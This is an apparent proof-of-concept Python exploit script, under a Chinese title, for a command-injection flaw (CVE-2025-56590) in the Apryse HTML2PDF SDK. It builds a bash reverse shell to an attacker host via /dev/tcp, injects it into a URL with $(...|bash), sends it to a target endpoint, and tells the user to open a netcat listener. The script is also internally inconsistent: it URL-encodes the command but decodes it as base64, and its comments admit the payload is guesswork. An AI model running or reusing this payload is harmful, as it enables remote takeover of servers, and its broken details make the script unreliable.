CVE-2025-56590 Apryse HTML2PDF SDK InsertFromURL()远程代码执行漏洞

import requests import urllib.parse # CVE-2025-56590 PoC - Apryse HTML2PDF SDK InsertFromURL() Command Injection # Target: Apryse HTML2PDF SDK <= 11.10 def exploit_cve_2025_56590(target_url, attacker_ip, attacker_port): """ Exploit for CVE-2025-56590: Apryse HTML2PDF SDK InsertFromURL() RCE Target: vulnerable Apryse HTML2PDF server Attacker: listening for reverse shell connection """ # Generate malicious URL with command injection payload # Using reverse shell payload (modify for your environment) cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" encoded_cmd = urllib.parse.quote(cmd) # Alternative: Direct command execution # cmd = "whoami > /tmp/pwned.txt" # Construct the malicious URL (depends on specific implementation) malicious_url = f"http://{attacker_ip}:8080/$(echo {encoded_cmd}|base64 -d|bash)" # Or using pipe/command chaining # malicious_url = f"http://example.com;{cmd}" payload = { "url": malicious_url, "action": "convert" # or appropriate action parameter } try: response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Payload: {malicious_url}") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False # Example usage if __name__ == "__main__": target = "http://vulnerable-server:8090/api/insertfromurl" lhost = "attacker-ip" lport = "4444" # Start listener: nc -lvnp 4444 exploit_cve_2025_56590(target, lhost, lport)